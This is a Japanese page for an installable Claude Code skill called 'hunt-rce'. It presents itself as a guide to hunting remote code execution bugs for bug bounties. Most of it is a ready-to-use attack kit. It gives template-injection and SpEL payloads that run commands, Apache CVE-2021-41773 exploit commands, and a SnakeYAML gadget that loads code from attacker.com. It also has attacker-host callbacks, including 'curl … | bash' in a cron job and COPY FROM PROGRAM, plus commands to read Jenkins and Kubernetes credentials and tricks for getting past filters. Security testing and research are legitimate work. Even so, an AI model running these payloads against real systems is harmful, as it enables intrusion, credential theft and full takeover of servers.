hunt-rce について
RCEを調査するセキュリティ研究者向けのテストスキルです。コマンド・テンプレートインジェクション、安全でない入力解析、インフラの攻撃面を扱い、リクエストのコンテンツタイプや帯域外コールバックによる検証も重視します。
主な機能
- 01実行層に届く入力経路を整理
- 02コマンドとテンプレートのインジェクションを検査
- 03YAML、XML、シリアライズ入力を確認
- 04依存関係の混同とインフラのリスクを調査
- 05帯域外コールバックでブラインド実行を検証
活用シーン
- 01管理コンソールの設定項目をテスト
- 02レスポンス出力でコマンドインジェクションを確認
- 03公開されたKubernetesとCI/CDの攻撃面を調査
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-rceインストール後、Claude Code で/hunt-rceを入力して読み込まれたか確認します。
詳細
自律テストの優先順位
コマンドインジェクションで最も多いサイレント障害の原因は、Content-type です。
従来の Web フォームでは Content-Type: application/x-www-form-urlencoded を使用します。JSON ボディ({"host":"127.0.0.1;id"})をフォームのエンドポイントに送信すると、サーバーは request.form['host'] を読み取りますが、値を取得できません。そのため、アプリはインジェクションなしで通常どおり実行され、もっともらしい 200 レスポンスを返します。何も問題が起きていないように見えるため、誤検知が発生します。
ルール: ページに HTML フォーム(<form method="POST">)がある場合は、フォームエンコーディングを使用します。パスが /api/... であるか、レスポンスが JSON の場合は、JSON を使用します。
試すべきコマンドインジェクション演算子(よく使われる順):
value;id ← Unix semicolon (most common)
value|id ← pipe
value&&id ← AND
value$(id) ← subshell
value`id` ← backtick
証拠: レスポンスボディ内の OS コマンド出力(uid=N(username) gid=...)は、コード実行が行われたことを確認する証拠です。出力が HTML でラップされていても問題ありません。レスポンスがそれ以外は通常どおり(200、期待されたコンテンツ)で、コマンド出力が追加または埋め込まれている場合、悪用が確認されたことになります。
最重要標的
RCE 脆弱性は、攻撃者に標的インフラストラクチャの直接的な実行制御を与えるため、バグバウンティプログラムで最も高額な報奨金が支払われます。最も価値の高い標的は次のとおりです。
最も高額な報奨金が支払われる資産の種類:
- エンタープライズサーバー製品(GitHub Enterprise Server、セルフホスト型 GitLab) — 低権限のコンソールロールから root の SSH アクセスに至る権限昇格チェーンは、一貫して重大/高の報奨金の対象になります
- サプライチェーン/パッケージレジストリ — npm、PyPI などを標的とした依存関係混乱攻撃は、主要なプログラムすべてで重大度「クリティカル」に該当します
- クラウドネイティブインフラストラクチャ — 外部に公開された Kubernetes API サーバー、イングレスコントローラー、設定ミスのある CI/CD パイプライン
- モバイルアプリのバックエンドと OAuth フロー — 攻撃者が制御するデータのサーバーサイド処理が、実行コンテキストと結び付く場合
- 管理/運用コンソール — 設定パネルでのテンプレートインジェクションにより、単一のペイロードで root 権限に到達します
このクラスの報奨金が最も高い理由:
- 影響範囲はユーザー単位ではなく、インフラストラクチャ全体に及びます
- 概念実証に曖昧さがありません。シェル出力は紛れもない証拠です
- 修正にはパッチだけでなく、アーキテクチャの変更が必要です
- プログラムにとって、RCE の誤検知は許容できません
攻撃対象領域の兆候
URL パターン
/management-console/*
/admin/settings/*
/api/v*/exec
/api/v*/run
/webhook/*
/_internal/*
/import?url=
/render?template=
/preview?format=
レスポンスヘッダー/技術スタックの兆候
X-Powered-By: Express # Node.js — npm dependency surface
X-Powered-By: Phusion Passenger
Server: nginx (ingress-nginx) # Kubernetes ingress — path field injection
X-Runtime: Ruby # Rails ActiveStorage, RDoc, REXML attack surface
Content-Type: application/yaml # YAML parsers (SnakeYAML, Psych) — deserialization
X-GitHub-Enterprise-Version # GHAS — nomad template, collectd, syslog-ng injection
JavaScript/フロントエンドの兆候
// Look for these patterns in JS bundles
fetch('/api/exec', {method:'POST', body: cmd})
eval(userInput)
new Function(userInput)
document.write(unsafeData)
window.location = userControlled // URL scheme bypass → JS execution
技術スタックの兆候
| 兆候 | RCE ベクトル |
|---|---|
設定 UI に nomad がある | テンプレートインジェクション → {{ ... }} |
syslog-ng の設定を編集可能 | 設定インジェクション → program() の宛先 |
collectd の設定を編集可能 | プラグイン実行インジェクション |
クラスパスに SnakeYAML がある | !!javax.script.ScriptEngineManager [...] |
npm の package.json に内部スコープがある | 依存関係混乱 |
| ingress-nginx のアノテーション | パスフィールドの正規表現バイパス |
手順に沿ったハンティング方法
-
まず実行コンテキストをマッピングします。 ペイロードをテストする前に、ユーザーが制御できる入力が実行レイヤーに触れる箇所をすべて特定します。テンプレートエンジン、シェルコマンド、YAML パーサー、処理で使用されるファイルパス、パッケージの解決、設定ファイルなどが該当します。
-
管理/運用インターフェースを列挙します。
/management-console、/admin、/_internal、/setup、/configをクロールします。これらのサーフェスは認証要件が低く、権限は高いため、GHES クラスターでは、1 つのコンソールロールから 6 件の個別の RCE が発生しました。 -
すべての設定フィールドでテンプレートインジェクションを確認します。 自由形式の設定(ログの送信先、通知形式、プロキシ設定など)を受け付ける管理 UI では、
{{7*7}}、${7*7}、<%= 7*7 %>を送信します。レスポンス、ログ、または DNS コールバックに49が現れるか確認します。 -
YAML/XML/シリアライズされた入力でコード実行をテストします。
Content-Type: application/yamlまたはapplication/xmlを受け付けるエンドポイントでは、次を試します。- SnakeYAML:
!!javax.script.ScriptEngineManagerガジェットを送信します - Ruby YAML:
!ruby/object:Gem::Installerガジェットを送信します - REXML:billion-laughs/二次爆発 XML を送信します
- SnakeYAML:
-
依存関係の取り違えを探します。 JS バンドル、エラーメッセージ、または公開リポジトリ内の
package.jsonから確認できる、内部の npm/pip/gem パッケージ名すべてについて、公開レジストリに、カナリアコールバックを指すより高いバージョンのパッケージを登録します。 -
ファイルパス操作でパストラバーサルから実行につながらないか確認します。 ActiveStorage、ファイルアップロードハンドラー、シンボリックリンク操作で、ファイル名として
../../../etc/cron.d/shellを送信します。書き込みを確認してから、実行をトリガーします。 -
Kubernetes/クラウドネイティブのサーフェスを監査します。 公開されている API サーバーに対して
kubectlを実行します。Ingress アノテーション、特に Lua/正規表現インジェクションにつながるnginx.ingress.kubernetes.io/configuration-snippetとspec.rules.http.paths.pathを確認します。 -
OAuth のリダイレクト URI と URL スキームハンドラーをテストします。 OAuth リダイレクト経由で
javascript:またはintent://URI を処理するモバイルアプリでは、JavaScript が実行される可能性があります。javascript:alert(document.cookie)とカスタムスキーム URI を試します。 -
帯域外コールバックで検証します。 目に見える出力だけに頼ってはいけません。Burp Collaborator、interactsh、または
canarytokens.orgの DNS トークンを使用します。バックエンドプロセッサーでは、ブラインド RCE がよく発生します。 -
権限を連鎖させます。 低深刻度の設定ミス(編集者ロール、CSRF、パストラバーサル)も、RCE のプリミティブと組み合わさればクリティカルになります。常に「ここから何にアクセスできるか?」と考えます。
ペイロードと検出パターン
テンプレートインジェクションのプローブ
# Generic polyglot — works across Jinja2, Twig, Freemarker, Pebble, Velocity
{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}
{{'7'*7}}
{{config}}
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}
# Nomad template injection (Go text/template)
{{ env "NOMAD_SECRET_ID" }}
{{ with secret "secret/data/prod" }}{{ .Data.password }}{{ end }}
{{ runscript "id" }}
Apache HTTP Server の alias パストラバーサル(CVE-2021-41773 / CVE-2021-42013)
Apache 2.4.49 のパス正規化のバグ(および 2.4.50 のパッチ回避)により、攻撃者は設定済みの alias パスを経由して、ドットエンコードされたセグメントで DocumentRoot の外に脱出できます。同じプリミティブでも、どの alias がトラバーサルを受け入れるかによって影響は大きく異なります。
Options +ExecCGIのない alias(例:/icons/)→ 任意のファイル読み取りのみOptions +ExecCGIのある alias(例:/cgi-bin/)→ 任意のコード実行
バージョンのフィンガープリント:
curl -sI http://target/ | grep -i "Server:"
# Vulnerable: Apache/2.4.49 (CVE-2021-41773) or Apache/2.4.50 (CVE-2021-42013)
# Patched: Apache/2.4.51+
ファイル読み取りテスト(任意の alias):
curl --path-as-is "http://target/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
# Note: --path-as-is is REQUIRED — curl normalizes %2e by default
RCE テスト(CGI が有効な alias のみ):
curl --path-as-is -X POST \
-d "echo Content-Type: text/plain; echo; id; uname -a; hostname" \
"http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
トリアージ規律に関する注記: 同じパストラバーサルのプリミティブが複数の alias で機能しても、CGI が有効なのが 1 つだけの場合、深刻度は平均ではなく、最大の影響に基づきます。/icons/ での「ファイル読み取り」の報告は、必ず /cgi-bin/(および server-info の開示やレスポンスパターンから確認できる <Directory> ブロック内の他の alias)を再プローブして、深刻度を引き上げるべきです。triage-validation の「深刻度判定前ゲート」を参照してください。
Spring Cloud Function SpEL インジェクション(CVE-2022-22963)
Spring Cloud Function ≤ 3.2.2(および ≤ 3.1.6)では、認証なしで /functionRouter エンドポイントにアクセスすると、ルーティングロジックが実行される前に spring.cloud.function.routing-expression ヘッダーが SpEL 式として評価されます。AWS Lambda、Cloud Run、オンプレミスの関数プラットフォームで広く導入されています。/functionRouter は自動的に登録され、開発者が明示的なアクセス制限を追加しないため、外部に公開されていることがよくあります。
検出:
/uppercase、/lowercase、または任意の単一単語の関数エンドポイントに対し、Spring 形式のポート 8080 が 200 を返すcurl -s http://target:8080/uppercase -H "Content-Type: text/plain" --data-binary "test"で確認します →TESTが返されます/actuator/infoまたはレスポンスヘッダーでバージョンバナーを確認します
悪用:
curl -X POST http://target:8080/functionRouter \
-H "Content-Type: text/plain" \
-H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"id"})' \
--data "x"
new String[]{"...", "..."} 配列形式を使うと、SpEL ヘッダーに括弧や引用符が含まれる場合に、より一般的な .exec("id") 形式で発生するシェルの引用符の問題を回避できます。
一般化される対象: ユーザー入力を SpelExpressionParser.parseExpression() 呼び出しに渡す Spring アプリケーション全般が該当します。特に、通常の認証フィルターを迂回するヘッダー/クエリーパラメーター経由のルートで入力が渡される場合は注意してください。より広範な SpEL のフィンガープリンティング(*{7*7} = Spring Thymeleaf)については、hunt-ssti を参照してください。
SnakeYAML RCE ガジェット
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker.com/exploit.jar"]
]]
]
Ruby YAML/rdoc_options RCE
--- !ruby/object:Gem::Installer
i: x
依存関係の混同の検出
# Find internal package names
grep -r '"name"' node_modules/ | grep '@internal\|@company\|@private'
# Check if public registry has higher version
npm view @target-company/internal-package version 2>/dev/null
Ingress-nginx パスインジェクション
# In spec.rules.http.paths.path
/something)(;.*);#
# Results in nginx config injection
Kubernetes 公開 API の確認
curl -sk https://TARGET:6443/api/v1/namespaces/default/pods \
-H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
kubectl --insecure-skip-tls-verify -s https://TARGET:6443 get pods --all-namespaces
帯域外 RCE の確認
# Payload to confirm blind RCE via DNS
curl "http://$(id | base64).YOUR-INTERACTSH-URL/"
nslookup $(whoami).attacker.com
wget http://attacker.com/$(cat /etc/hostname)
ActiveStorage パストラバーサル → RCE
# Filename in upload request
filename="../../../../etc/cron.d/backdoor"
# Cron payload content
* * * * * root curl http://attacker.com/shell | bash
Args4j の @ プレフィックスによるファイル展開(Jenkins CVE-2024-23897 系)
args4j ライブラリをベースに構築された Java CLI は、デフォルトで expandAtFiles=true になっており、@filename 引数のファイルを読み込んで、各行を個別のコマンド引数として扱います。このような CLI が HTTP 経由で公開されている場合(代表例は Jenkins CLI)、サーバー側のエラーメッセージが処理に失敗した引数をそのまま返すため、引数のエコーが任意のファイル読み取りプリミティブになります。「匿名読み取りアクセス」が有効な場合、認証は不要です(新規インストール時の Jenkins のデフォルト設定)。
検出:
- 対象が
/cliと/jnlpJars/jenkins-cli.jarを公開している(Jenkins 系) - または、args4j を使用し、
expandAtFiles=falseに設定していない Java アプリ
テスト(Jenkins):
# Get the legit CLI jar from the target
curl -sLO http://target:8080/jnlpJars/jenkins-cli.jar
# First line of file leaks via 'help' error
java -jar jenkins-cli.jar -s http://target:8080/ -http help 1 @/etc/passwd
# → ERROR: Too many arguments: root:x:0:0:root:/root:/bin/bash
# Full file leaks via 'connect-node' (every line returned as a "no such agent" error)
java -jar jenkins-cli.jar -s http://target:8080/ -http connect-node @/etc/passwd
# → All passwd lines echoed back
# Recon: env vars + JENKINS_HOME path
java -jar jenkins-cli.jar -s http://target:8080/ -http help 1 @/proc/self/environ
JENKINS_HOME の存在を確認した後に狙うべき重要ファイル:
/var/jenkins_home/secret.key— 保存された認証情報の暗号化に使われるマスターキー/var/jenkins_home/secrets/master.key— 暗号化キーの導出に使用/var/jenkins_home/credentials.xml— 認証情報ストア(secret.key で暗号化されています。オフライン復号ツールと組み合わせてください)/var/jenkins_home/users/*/config.xml— ユーザーごとの API トークン(暗号化されていないことがよくあります)/var/jenkins_home/jobs/*/config.xml— AWS キー、SSH キー、レジストリトークンがインラインで含まれている可能性があるパイプライン設定
このパターンは Jenkins 以外にも当てはまります。 次の条件を満たす Java サービスは、いずれも該当します。
- args4j を組み込んでいる(2010 年代以降のエンタープライズ Java CLI の多くが該当)
- HTTP 経由で CLI ハンドラーを公開している(Jenkins、Hudson のフォーク、カスタムの社内ツールなど)
- 引数解析エラーをクライアントにそのまま返す
→ 同じ任意読み取りプリミティブが適用されます。triage-validation の再現性ゲートで検証するには、少なくとも 2 つの異なるコマンド(例:help と connect-node)で漏えいを確認し、汎用的な 500 エラーだけでなく、ファイルの内容が実際にレスポンスに含まれていることを確認してください。
ソースレビュー用 Grep パターン
# Command injection sinks
grep -rn "exec\|system\|popen\|spawn\|eval\|subprocess" --include="*.rb" .
grep -rn "Runtime.exec\|ProcessBuilder\|ScriptEngine" --include="*.java" .
# Template engine instantiation
grep -rn "Mustache\|Handlebars\|nunjucks\|render_template\|Template\(" .
# Unsafe YAML load
grep -rn "yaml\.load\b\|YAML\.load\b" . # without Loader= argument
grep -rn "Yaml()\|new Yaml()" --include="*.java" .
よくある根本原因
1. サニタイズが不十分な構成のコード化
管理者は、Web UI を通じて構成ファイル(syslog-ng、collectd、nomad)を編集します。開発者は管理者を信頼できると想定し、実行プリミティブ(program() の宛先、exec プラグイン、テンプレート関数)をサポートする構成ファイルに、フィールド値を直接渡します。
2. 特権コンテキストでのテンプレートエンジン
Go の text/template、Freemarker、Velocity、Twig は、システム構成のレンダリングに使用されています。ユーザーが制御する文字列がサンドボックス化されずにこれらのエンジンに渡されると、任意のコードが実行されます。
3. 依存関係の混同/名前空間の乗っ取り 内部パッケージを、公開レジストリの名前空間を確保せずにプライベートレジストリへ公開します。ビルドシステムがデフォルトで公開レジストリを優先する場合や、プライベートレジストリにパッケージがないと公開レジストリにフォールバックする場合に発生します。
4. YAML/XML の安全でないデシリアライズ
開発者はセーフローダーを使わずに YAML.load() を使用したり、型制限を設けずに new Yaml()(SnakeYAML)を使用したりします。Ruby の YAML.load と Java の SnakeYAML は、どちらもデフォルトで任意のオブジェクトのインスタンス化をサポートします。
5. ファイル操作チェーンにおけるパストラバーサル
ユーザー入力から受け取ったファイル名が、正規化されずにファイルシステム操作に使用されます。Rails ActiveStorage、ファイルアップロードハンドラー、rdoc ジェネレーターは、filename パラメーターを信頼します。
6. 低権限のロールは実行コンテキストに到達できないという思い込み GHES 管理コンソールでは、「Editor」ロールに、シェル実行に関わる構成フィールドへのアクセスが許可されていました。開発者は、より上位のアーキテクチャレベルで権限境界が設けられていると想定していました。
7. インフラストラクチャに関わるフィールドの入力検証不足 Ingress/nginx のアノテーション値、Kubernetes の spec フィールド、Webhook URL は、不透明な文字列として扱われます。しかし、後続のプロセッサー(nginx 構成ジェネレーター、正規表現エンジン)は、それらをコードとして解釈します。
回避テクニック
回避:シェルのメタ文字フィルタリング
# Blocked: ; | & ` $()
# Bypass using $IFS and encodings
cat${IFS}/etc/passwd
{cat,/etc/passwd}
$'\x63\x61\x74' /etc/passwd # hex encoding
$(printf '\x63\x61\x74') /etc/passwd
# Newline injection when semicolons blocked
payload=$'\ncurl attacker.com\n'
回避:URL スキームの許可リスト(javascript: はブロック)
# Mobile apps often block javascript: but miss:
jAvAsCrIpT:alert(1) # case variation
javascript:alert(1) # HTML entity
javascript:void(alert(1)) # void wrapper
intent://attacker.com#Intent;scheme=javascript;...
data:text/html,<script>alert(1)</script>
回避:YAML の safe_load/型制限
# If !!java.* is blocked, try legitimate classes with side effects
!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: 'ldap://attacker.com/a'
autoCommit: true
# Or find allowlisted types with dangerous constructors
回避:npm スコープの制限
# If @company/* is monitored, look for unscoped internal names
# e.g., "internal-utils" instead of "@company/internal-utils"
# Public registries serve unscoped packages first
回避:パストラバーサルのフィルター
# Basic filter bypass
../ → ..%2F → %2e%2e%2f → ....//
# Double encoding
%252e%252e%252f
# Unicode normalization
..%c0%af (overlong UTF-8)
# Null byte (older systems)
../../etc/passwd%00.jpg
回避:出力フィルタリングを伴うテンプレートインジェクション
# If {{ }} is sanitized on output but not evaluation:
{% for x in range(1) %}{{ lipsum.__globals__.os.popen('id').read() }}{% endfor %}
# Blind — use DNS callback instead of output
{{ lipsum.__globals__.os.popen('nslookup $(id).attacker.com').read() }}
回避:exec、system、popen をブロックする WAF
# Ruby
send(:system, "id")
method(:exec).call("id")
Kernel.send(:`, "id")
Object.const_get(:Kernel).system("id")
ゲート 0 の検証
レポートを作成する前に、次の 3 点すべてを確認してください。
1. 攻撃者は今、何を実行できますか?
次のいずれかを実証できる必要があります。id/whoami を実行して出力を取得する、対象サーバーから管理下のホストへ DNS/HTTP コールバックを行う、ファイルシステムにファイルを書き込む、または /etc/passwd を読み取る。「できるかもしれない」では、このゲートを通過できません。
2. 被害者は何を失いますか? 具体的な影響を明確にしてください。ソースコードの窃取、認証情報(データベース、API キー、クラウド IAM)の窃取、内部ネットワークへの横展開、下流ユーザーへのサプライチェーン侵害、データの破壊などです。一般的な「攻撃者が RCE を獲得する」では不十分です。危険にさらされる最重要資産を具体的に示してください。
3. ゼロから 10 分以内に再現できますか? 提出前に再現手順を作成してください。(a)Burp リクエスト、(b)ペイロードファイル、(c)リスナー以上のものが必要な場合は、手順を簡略化してください。再現に特定の競合状態、タイミング、一時的な状態が必要な場合は、正確な条件を記載してください。1 回で再現できないトリアージ担当者は、レポートの評価を下げるか、クローズする可能性があります。
実際の影響例
シナリオ A:管理コンソールの編集者 → ルートシェル(エンタープライズサーバー)
GitHub Enterprise Server インスタンスで、権限の低い「Management Console Editor」アカウントを持つ攻撃者は、syslog-ng の設定 UI が自由形式の「destination」フィールドを受け付けることを特定しました。リバースシェルコマンドを含む program() 宛先を注入することで、攻撃者はログ受信時に、ルート権限で実行されている syslog-ng デーモンに任意の OS コマンドを実行させました。同じ攻撃対象領域は、collectd の exec プラグイン設定と nomad のジョブテンプレートのレンダリングでも個別に見つかり、いずれも同じ編集者ロールからアクセス可能でした。影響:組織のすべてのソースコード、シークレット、CI/CD パイプラインをホストするエンタープライズ Git サーバーが、ルート権限で完全に侵害されました。
シナリオ B:依存関係の混乱 → ビルドインフラストラクチャでの RCE
ある研究者は、対象の CDN エンドポイントから配信される JavaScript バンドルと、大手決済プラットフォームに属する公開 GitHub リポジトリを調査し、内部 npm パッケージ名を列挙しました。複数の @internal/* スコープ付きパッケージが参照されていましたが、公開 npm レジストリには登録されていませんでした。研究者は、同一名でより高いバージョン番号のパッケージを公開し、カナリアコールバックを実行する postinstall スクリプトを含めました。数時間以内に、対象の CI/CD ビルドファームに属する複数の IP アドレスからコールバックが発生し、ビルドインフラストラクチャでのすべての npm install が攻撃者の制御するコードを実行していたことが確認されました。同じ手法は、ライドシェアプラットフォームの内部ツールでも有効でした。影響:本番環境へのデプロイ用認証情報と署名キーにアクセスできるビルドサーバーで、任意のコードが実行されました。
シナリオ C:公開された Kubernetes API → クラスターの乗っ取り
対象のクラウドインフラストラクチャを偵察していた研究者は、RBAC の権限が過度に許容的な、一般公開された Kubernetes API サーバー(ポート 6443)を発見しました。デフォルトのサービスアカウントトークンと認証不要の API 呼び出しを使い、研究者は実行中のポッドを列挙し、デフォルト名前空間からシークレット(データベース認証情報やサードパーティ API キーを含む)を取得して、hostPID: true を指定した特権ポッドを起動できることを実証しました。これによりノードを完全に侵害できました。Kubernetes クラスターは、対象の中核的な本番サービスを管理していました。影響:保存されているすべてのシークレットへのアクセス、悪意のあるワークロードをデプロイする能力、そしてクラスター内のすべてのサービスへ横展開する足掛かりを得ました。
チェーンと組み合わせ(シニア向けハンティング)
2020~2026 年の RCE は、単一のシンクで発生することはほとんどありません。現代の RCE はすべて、(1)攻撃者のバイト列をホスト上、またはデシリアライゼーションパイプラインに送り込むプリミティブと、(2)それを解釈する実行ガジェットで構成されています。以下のチェーンでは、高額報奨金につながる 6 つの RCE の典型的な形を、それぞれのプリミティブに分解しています。各ステップは個別に検証可能で、報奨金につながるのはチェーン全体です。
チェーン 1 — SSRF + IMDSv1 + 漏えいした IAM ロール → Lambda Invoke → バックエンド RCE(Capital One 型)
- A. サーバー側フェッチャー(リンクプレビュー、画像プロキシ、Webhook URL、PDF ジェネレーター)における SSRF。Burp Collaborator の OOB コールバックで確認します。
- B. SSRF の接続先を AWS IMDSv1 メタデータに設定します:
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>→ 一時的な STS 認証情報が返されます。 - C. この認証情報を使って
aws lambda invoke --function-name <internal-function>を実行します。Lambda は、攻撃者が関数の入力パラメーターを通じて影響を与えられるサーバー側コードを実行します。 - 影響: Lambda の実行コンテキストにおけるバックエンドの完全な RCE に加え、ロールが許可する他のリソース(S3/DynamoDB/RDS)へ横展開する経路が得られます。
- 実例: Capital One 2019 年 — 8,000 万ドルの民事制裁金、攻撃者の有罪判決。EC2 上の WAF における SSRF → IMDSv1 → IAM ロール → S3 同期による 1 億 600 万件のレコード侵害。相互参照:
hunt-ssrf公開レポートの引用 #6。
Chain 2 — SQLi + COPY FROM PROGRAM → Postgres ホスト上での直接的な OS レベル RCE
- A. Postgres バックエンドで SQLi を確認します(ブールベース/時間ベースで動作し、UNION は不要です)。
- B. DB ユーザーに
pg_read_server_filesまたはCOPYの権限があります(「admin」データベースが存在する場合、多くの AWS RDS/Google Cloud SQL ロールでデフォルト設定されています)。 - C. クエリを連結します:
'; COPY users FROM PROGRAM 'curl http://attacker/x.sh | bash'; --→ Postgres が/bin/sh -c <attacker command>を実行します →postgresユーザーとして RCE が可能になります。 - 影響: データベースユーザーとして RCE が可能になります。マネージド Postgres では、このユーザーが IAM 認証情報を持ち、他の AWS リソースに直接アクセスできることがよくあります。
- 実際の事例: Postgres をバックエンドとする SaaS アプリで、2020〜2024 年に複数の H1 開示事例がありました。
hunt-sqliの開示レポート引用 #12、およびFILE/xp_cmdshell権限の根本原因に関する考察を参照してください。
Chain 3 — 画像アップロード + ファイル名のパストラバーサル + MIME 配信の設定ミス → Webshell
- A. ファイルアップロードが画像(
image/png、image/jpeg)を受け入れます。サーバーはユーザー指定のファイル名で保存するか、実際のコンテンツではなく Content-Type のみを検証します。 - B. 正しい画像マジックバイト(
GIF89aの後に PHP を配置)を含む.aspx/.jsp/.phpファイルをアップロードし、../を含むファイル名を指定して、アップロードディレクトリの外にあるウェブルートへ書き込みます(../../../public/webshell.php)。 - C.
https://target/webshell.php?cmd=idにリクエストします。パスがアップロードディレクトリのフィルターを通らないため、拡張子のポリシーにかかわらずサーバーの PHP/ASP.NET ハンドラーがスクリプトを実行します。 - 影響: 認証されていない、または低権限の攻撃者が、Web サーバーのプロセス権限でアプリケーションサーバー上に Webshell を取得します。
- 実際の事例: レガシーなアップロードハンドラーで、複数の H1 開示事例がありました。2020 年以前から知られる典型的な RCE クラスです。
hunt-file-upload(アップロード回避テーブル)およびhunt-miscのパストラバーサルパターンと併用できます。
Chain 4 — プロトタイプ汚染 + Lodash/Mongoose ガジェットチェーン → child_process.spawn → Node RCE
- A. プロトタイプ汚染のシンクを特定します。攻撃者の JSON を受け取る JSON マージ/Object.assign/lodash
_.merge/NodeObject.createのチェーンが該当します。 - B.
Object.prototype.shellをtrueに汚染するか、Object.prototype.env.NODE_OPTIONSを--require ./malicious.jsに汚染します。汚染されたプロトタイプが、下流のchild_process.spawnまたはvm.runInThisContextに到達します。 - C. シンクが攻撃者の制御するシェル/環境変数を使って実行されることで、攻撃者のコードが Node.js プロセスのコンテキストで実行され、環境変数、AWS メタデータ、内部サービスに完全にアクセスできるようになります。
- 影響: JSON POST によるサーバーサイド JS 実行です。設定のマージに
body-parserとlodash.mergeを使用する Express アプリでよく見られます。 - 実際の事例:
lodash.mergeの CVE-2018-16487、CVE-2019-10744、CVE-2020-8203、mongooseの CVE-2024-53900(hunt-sqliの開示レポート引用 #10 を参照。同じガジェットファミリーがプロセスではなく Mongo の$whereに到達します)。
チェーン 5 — 暗号化されていない ViewState + 復元された MachineKey → ASP.NET のデシリアライズ → RCE(ToolShell クラス)
- A.
__VIEWSTATEENCRYPTED=""となっている ASP.NET エンドポイントを特定します(ViewState は署名されていますが、暗号化されていません)。フォームを含むページで Burp/curl を使用して確認します。 - B.
<machineKey>の validationKey を復元します。設定ファイルの漏えい(/web.configにアクセス可能)、同じキーを共有する兄弟アプリのサブドメイン乗っ取り、または Subscription Edition でキーを外部へ窃取する CVE-2025-53771 ToolShell エクスプロイトチェーンを利用できます。 - C.
ysoserial.net --plugin=ViewState --validationkey=<key>を使い、TypeConfuseDelegate/WindowsIdentityペイロードで ViewState を偽造します。これをエンドポイントに送信します。ASP.NET は、Process.Startで終わるメソッド呼び出しのガジェットチェーンにデシリアライズし、ワーカープロセスの ID で RCE が発生します。 - 影響: IIS Web フロントエンド上で、AppPool ID に付与された権限で完全な RCE が可能です。多くの場合は
NETWORK SERVICE(SharePoint ファームアカウントへのアクセス権を持つ)またはそれ以上の権限です。 - 実際の事例: CVE-2025-53770/53771 ToolShell(2025 年 7 月の緊急アドバイザリ)、SP2013 のサポート終了後も未パッチのまま残るリスクです。
hunt-sharepointの ToolShell 前提条件チェーンおよびhunt-aspnetの ViewState 二重パーサーのアンチパターンを参照してください。
チェーン 6 — XXE + PHP expect:// ストリームラッパー → レガシー PHP で直接 RCE
- A. OOB DTD コールバック(
<!ENTITY % x SYSTEM "http://attacker/dtd">)で XXE を確認します。 - B. 対象が
expect拡張を有効にした PHP を実行していることを確認します(2026 年ではまれですが、レガシーホストや一部の共有ホスティングプロバイダーでは依然として存在します)。 - C.
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]><foo>&xxe;</foo>を送信します。PHP のストリームラッパーが expect 経由でidを実行し、その出力はエンティティ展開または OOB 経由で返されます。 - 影響: 別途アップロードや SQLi のプリミティブを必要とせず、PHP/Web サーバーのユーザーとして RCE が可能です。
- 実際の事例: Rockstar Games のエンブレムエディターにおける XXE H1 #347139(2018 年、$1,500)、Adobe Commerce CosmicSting CVE-2024-34102(XXE → 暗号鍵の外部窃取による RCE)です。
hunt-xxeの公開済みレポート引用 #7 および #10 を参照してください。
オペレーター向けのパターン
最新の RCE チェーンはすべて 2 つの段階から成ります。バイト列を到達させること(SSRF、SQLi、アップロード、プロトタイプ汚染、ViewState、XXE)と、バイト列を解釈させること(lambda invoke、COPY PROGRAM、webshell ハンドラー、child_process.spawn、デシリアライザーのガジェット、expect://)です。最初の段階を探してください。2 つ目の段階は通常、上記 6 つのいずれかです。最初の段階のプリミティブがこれらのどれとも組み合わせられない場合は、報告を提出する前に立ち止まってください。「RCE につながる可能性がある」は Low/Medium ですが、「エンドツーエンドで RCE を実証した」は Critical です。
相互参照:
hunt-ssrf— チェーン 1hunt-sqli— チェーン 2hunt-file-upload— チェーン 3hunt-api-misconfig(プロトタイプ汚染)— チェーン 4hunt-sharepoint+hunt-aspnet— チェーン 5hunt-xxe— チェーン 6
関連するスキルとチェーン
hunt-ssti—eval()/exec()/os.system()に到達するテンプレートエンジンは、レンダー呼び出しの裏に隠れた RCE です。チェーンのプリミティブ:メールテンプレートのプレビューに反映される Jinja2 の{{config.__class__.__init__.__globals__['os'].popen('id').read()}}→ ワーカープロセス権限での認証不要の RCE。hunt-file-upload— ファイル書き込みのプリミティブは、アップロードディレクトリが Web から配信される場合、デシリアライザーで処理される場合、または.htaccess/web.configによって読み込まれる場合に RCE につながります。チェーンのプリミティブ:SVG/PHP のポリグロットで MIME チェックを回避 →GET /uploads/shell.php?cmd=idに直接アクセス → RCE。または、phar://ストリームラッパーを使った DOCX → PHP オブジェクトのデシリアライズ → RCE。hunt-ssrf— RCE のプリミティブが内部専用のエンドポイント(管理コンソール、内部 Redis、Jenkins のスクリプトコンソールなど)にある場合は、SSRF を経由させます。チェーンのプリミティブ:外部からの SSRF →http://127.0.0.1:8080/manage/scriptText(Jenkins/Tomcat)→ Groovy のRuntime.exec→ RCE。または、SSRF →gopher://redis:6379から crontab に書き込み → RCE。hunt-aspnet— ASP.NET ViewState のデシリアライズは、既知の__VIEWSTATEパラメーターを介した広範な RCE の手段です。チェーンのプリミティブ:machineKey の復元(またはweb.configの情報漏えいによる<machineKey>の流出)→ysoserial.net -p ViewState -g TypeConfuseDelegate→IIS APPPOOL\<name>権限での RCE。security-arsenal— シリアライズ済みバイト列を受け取るシンクを見つけたら、デシリアライズのペイロードツリー(ysoserial の Java ガジェットチェーン、.NET ViewState/BinaryFormatter 用の ysoserial.net、Python pickle の__reduce__、Ruby Marshal、PHPphar://メタデータ、Nodenode-serializeの IIFE)を活用してください。triage-validation— Critical と報告する前に、Pre-Severity Gate を適用してください。実行経路がなく、実際にはファイル書き込みしかできない「ブラインド RCE」は RCE ではありません。また、osにアクセスできないサンドボックス化された eval は、せいぜい Medium の SSTI です。報告書を作成する前に、一意のマーカーを使ってwhoamiまたは OOB DNS コールバックを実証してください。